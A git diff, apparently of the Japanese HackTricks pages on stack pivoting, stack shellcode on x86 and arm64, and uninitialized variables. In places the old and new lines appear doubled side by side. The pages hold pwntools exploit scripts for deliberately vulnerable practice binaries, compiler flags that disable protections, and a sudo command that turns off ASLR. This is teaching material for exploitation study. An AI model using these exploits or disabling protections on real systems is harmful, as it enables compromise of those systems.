さらに、ここにはこのテクニックを使用した**スタックリーク**を行い、勝利関数を呼び出す[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これはページからの最終ペイロードです: さらに、ここに[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があり、この技術を使用して**スタックリーク**を利用して勝利関数を呼び出します。これはページからの最終ペイロードです:
```python ```python
from pwn import * from pwn import *
@ -102,12 +105,12 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
## EBP might not be used ## EBPは使用されない可能性がある
[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができない**ため、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。\ [**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができません**。したがって、EBPを制御することによって機能する任意のエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。\
これは、バイナリが最適化されている場合、**プロローグとエピローグが変更**されるためです。 これは、**プロローグとエピローグが**バイナリが最適化されると変更されるためです。
* **最適化されていない場合:** * **最適化されていない:**
```bash ```bash
push %ebp # save ebp push %ebp # save ebp
mov %esp,%ebp # set new ebp mov %esp,%ebp # set new ebp
@ -133,7 +136,7 @@ ret # return
### **`pop rsp`** ガジェット ### **`pop rsp`** ガジェット
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) には、このテクニックを使用した例があります。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**が存在し、**スタックからのリーク**がありました。 [**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) では、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**があり、**スタックからのリーク**があります:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -185,7 +188,7 @@ xchg <reg>, rsp
``` ```
### jmp esp ### jmp esp
ここでret2espテクニックを確認してください ret2espテクニックについては、こちらを確認してください:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
@ -196,22 +199,22 @@ xchg <reg>, rsp
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) * [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) * [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64ビット、ret sledで始まるropチェーンを使用したオフバイワン攻撃 * 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64ビット、relro、canary、nx、およびpieなし。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックのリークを取得し、WWWを使用してpieのリークを取得します。その後、WWWを使用して`.fini_array`エントリを乱用し、`__libc_csu_fini`を呼び出すことで永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。この「永遠の」書き込みを乱用して、.bssにROPチェーンを書き込み、それを呼び出してRBPでピボットします。 * 64ビット、relro、canary、nx、pieなし。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。最初にスタックリークを取得し、WWWを使用して戻り、pieリークを取得します。その後、WWWを使用して、`.fini_array`エントリを悪用して永続ループを作成し、`__libc_csu_fini`を呼び出します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットを呼び出します。
## ARM64 ## ARM64
ARM64では、関数の**プロローグとエピローグ**は**SPレジスタを保存および復元しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。 ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
したがって、デフォルトでは、エピローグを乱用しても、スタック内のデータを上書きしてSPレジスタを制御することはできません。そして、SPを制御できたとしても、**`x30`**レジスタを制御する方法が必要です。 したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きして**SPレジスタを制御することはできません**。そして、SPを制御できたとしても、**`x30`**レジスタを**制御する方法**が必要です。
* プロローグ * プロローグ
```armasm ```armasm
sub sp, sp, 16 sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record mov x29, sp // FPはフレームレコードを指します
``` ```
* エピローグ * エピローグ
@ -222,25 +225,26 @@ ret
``` ```
{% hint style="danger" %} {% hint style="danger" %}
ARM64でスタックピボットに類似した操作を行う方法は、**`SP`を制御**できるようになること(`SP`に渡されるレジスタの値を制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローがある場合)であり、その後、エピローグを乱用して**制御された`SP`から`x30`**レジスタをロードし、**`RET`**します。 ARM64でスタックピボティングに似たことを行う方法は、**`SP`**を制御できるようにすることです(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得しており、オーバーフローがある場合)そして、**エピローグを悪用して**、**制御された`SP`**から**`x30`**レジスタをロードし、**それに`RET`**することです。
{% endhint %} {% endhint %}
また、次のページで**ARM64でのRet2espの相当物**を見ることができます: 次のページでは、**ARM64におけるRet2espの同等物**を見ることができます:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# スタックシェルコード # Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
**スタックシェルコード**は、**バイナリエクスプロイテーション**で使用される技術で、攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **命令ポインタIP** または **拡張命令ポインタEIP** をこのシェルコードの場所を指すように変更することで、実行させることを意味します。これは、不正なアクセスを得たり、ターゲットシステムで任意のコマンドを実行するために使用される古典的な方法です。ここでは、このプロセスの詳細と、簡単なCの例、および **pwntools** を使用して対応するエクスプロイトをPythonで書く方法を紹介します。 **Stack shellcode** は、**バイナリエクスプロイト**において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後**命令ポインタ (IP)** または **拡張命令ポインタ (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行させたりするために使用される古典的な方法です。以下に、プロセスの内訳と、シンプルなCの例、そして**pwntools**を使用して対応するエクスプロイトを書く方法を示します。
### Cの例: 脆弱なプログラム ### Cの例: 脆弱なプログラム
まず、脆弱なCプログラムの簡単な例から始めましょう 脆弱なCプログラムのシンプルな例から始めましょう:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0; return 0;
} }
``` ```
このプログラムは、`gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。 このプログラムは、`gets()`関数の使用によりバッファオーバーフローに対して脆弱です。
### コンパイル ### コンパイル
このプログラムをコンパイルする際に、さまざまな保護を無効にして(脆弱な環境をシミュレートするために)、次のコマンドを使用できます: このプログラムをコンパイルして、さまざまな保護を無効にすることで(脆弱な環境をシミュレートするために)、次のコマンドを使用できます:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-fno-stack-protector`: スタック保護を無効にします。 * `-fno-stack-protector`: スタック保護を無効にします。
* `-z execstack`: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。 * `-z execstack`: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。
* `-no-pie`: 位置独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。 * `-no-pie`: ポジション独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
* `-m32`: プログラムを32ビット実行可能ファイルとしてコンパイルし、しばしばエクスプロイト開発のためにシンプルに使用されます。 * `-m32`: プログラムを32ビット実行可能ファイルとしてコンパイルし、エクスプロイト開発の簡素化に役立ちます。
### Pwntoolsを使用したPythonエクスプロイト ### Python Exploit using Pwntools
以下は、**pwntools**を使用してPythonでエクスプロイトを記述し、**ret2shellcode**攻撃を実行する方法です。 ここでは、**pwntools**を使用して**ret2shellcode**攻撃を実行するためのPythonでのエクスプロイトの書き方を示します
```python ```python
from pwn import * from pwn import *
@ -78,24 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
このスクリプトは、**NOPスライド**、**シェルコード**、そして**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されるようにペイロードを構築します。 このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
**NOPスライド** (`asm('nop')`) は、実行が正確なアドレスに関係なくシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数を、NOPスライドに着地するためのバッファの開始アドレスにオフセットを加えて調整してください **NOPスライド**`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えた値に調整して、NOPスライドに到達させます
## 保護 ## 保護
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) は**無効にする必要があります**。そうしないと、関数が格納されるアドレスが常に同じでなくなり、win関数がどこにロードされているかを特定するためには何らかのリークが必要になります。 * [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **は無効にするべき**で、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じでなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。
* [**スタックキャニオン**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にする必要があります。そうしないと、侵害されたEIP戻りアドレスは決して実行されません。 * [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/)も無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、その領域が実行不可能であるため、スタック内のシェルコードの実行を防ぎます。 * [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
## 他の例と参考文献 ## その他の例と参考文献
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64ビット、ASLRとスタックアドレスリーク、シェルコードの書き込みとその実行 * 64ビット、スタックアドレスリークを伴うASLR、シェルコードを書き込み、そこにジャンプ
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32ビット、ASLRとスタックリーク、シェルコードの書き込みとその実行 * 32ビット、スタックリークを伴うASLR、シェルコードを書き込み、そこにジャンプ
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32ビット、ASLRとスタックリーク、exit()への呼び出しを防ぐための比較、変数の上書きとその値の書き込み、シェルコードの書き込みとその実行 * 32ビット、スタックリークを伴うASLR、exit()への呼び出しを防ぐための比較、変数を値で上書きし、シェルコードを書き込み、そこにジャンプ
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64、ASLRなし、スタックを実行可能にするROPガジェット、スタック内のシェルコードへのジャンプ * arm64、ASLRなし、スタックを実行可能にするROPガジェットを使用してスタック内のシェルコードにジャンプ
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,27 @@
# スタックシェルコード - arm64 # Stack Shellcode - arm64
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**してください。
</details> </details>
{% endhint %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)でarm64の紹介を見つける。 arm64の紹介は以下を参照してください
## コード {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## コード&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -31,19 +36,21 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
コンパイル時にPIE、canary、およびNXを無効にしてください コンパイル時にPIE、カナリア、NXなしで
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## ASLRなしcanaryなし - スタックオーバーフロー {% endcode %}
ASLRを停止するには次を実行します ## ASLRなし & カナリアなし - スタックオーバーフロー&#x20;
ASLRを停止するには、次のコマンドを実行します:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
[**bofのオフセットを取得するには、このリンクを参照してください**](../ret2win/ret2win-arm64.md#finding-the-offset)。 [**bofのオフセットを取得するには、このリンクをチェックしてください**](../ret2win/ret2win-arm64.md#finding-the-offset)。
Exploit: Exploit:
```python ```python
@ -76,6 +83,21 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
ここで見つける唯一の「複雑な」部分は、呼び出すためのスタック内のアドレスです。私の場合、gdbを使用して見つけたアドレスを使用してエクスプロイトを生成しましたが、エクスプロイトを実行すると動作しませんでした(スタックアドレスが少し変わったため)。 ここで見つける唯一の「複雑な」ことは、呼び出すためのスタック内のアドレスです。私の場合、gdbを使用して見つけたアドレスエクスプロイトを生成しましたが、エクスプロイトを実行したときにうまくいきませんでした(スタックアドレスが少し変わったためです)。
生成された**`core`ファイル**`gdb ./bog ./core`)を開いて、シェルコードの開始アドレスの実際のアドレスを確認しました。 生成された **`core` ファイル** (`gdb ./bog ./core`) を開き、シェルコードの開始位置の実際のアドレスを確認しました。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# 未初期化変数 # 未初期化変数
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
ここでの中心的なアイデアは、**未初期化変数がどのように振る舞うかを理解することです。それらは、それらに割り当てられたメモリ内の値を持つことになります。** 例: ここでの核心的なアイデアは、**未初期化変数がどのように機能するかを理解することです。これらは、割り当てられたメモリに既にあった値を持つことになります。** 例:
* **関数1: `initializeVariable`**: 変数 `x` を宣言し、値を割り当てます。たとえば `0x1234` とします。このアクションは、メモリ内の場所を予約し、特定の値を入れることに似ています。 * **関数1: `initializeVariable`**: 変数 `x` を宣言し、値を割り当てます。例えば `0x1234` とします。このアクションは、メモリ内にスポットを予約し、特定の値をそこに置くことに似ています。
* **関数2: `useUninitializedVariable`**: ここでは、別の変数 `y` を宣言しますが、値を割り当てません。C言語では、未初期化変数は自動的にゼロに設定されません。代わりに、それらはメモリ位置に最後に格納された値を保持します。 * **関数2: `useUninitializedVariable`**: ここでは、別の変数 `y` を宣言しますが、値は割り当てません。C言語では、未初期化変数は自動的にゼロに設定されることはありません。代わりに、最後にそのメモリ位置に保存されていた値を保持します。
これらの2つの関数を**順次**実行すると: これらの2つの関数を**順次**実行すると:
1. `initializeVariable` では、`x` に値 (`0x1234`) が割り当てられ、特定のメモリアドレスを占有します。 1. `initializeVariable` では、`x` に値 (`0x1234`) が割り当てられ、特定のメモリアドレスを占有します。
2. `useUninitializedVariable` では、`y` が宣言されますが、値は割り当てられ、`x` の直後のメモリスポットを取ります。`y` を初期化しなかったため、`x` が使用していたメモリ位置から値を「継承」することになります。 2. `useUninitializedVariable` では、`y` が宣言されますが、値は割り当てられないため、`x` の直後のメモリスポットを取ります。`y` を初期化しなかったため、`x` が使用していた同じメモリ位置から値を「継承」することになります。なぜなら、それがそこにあった最後の値だからです。
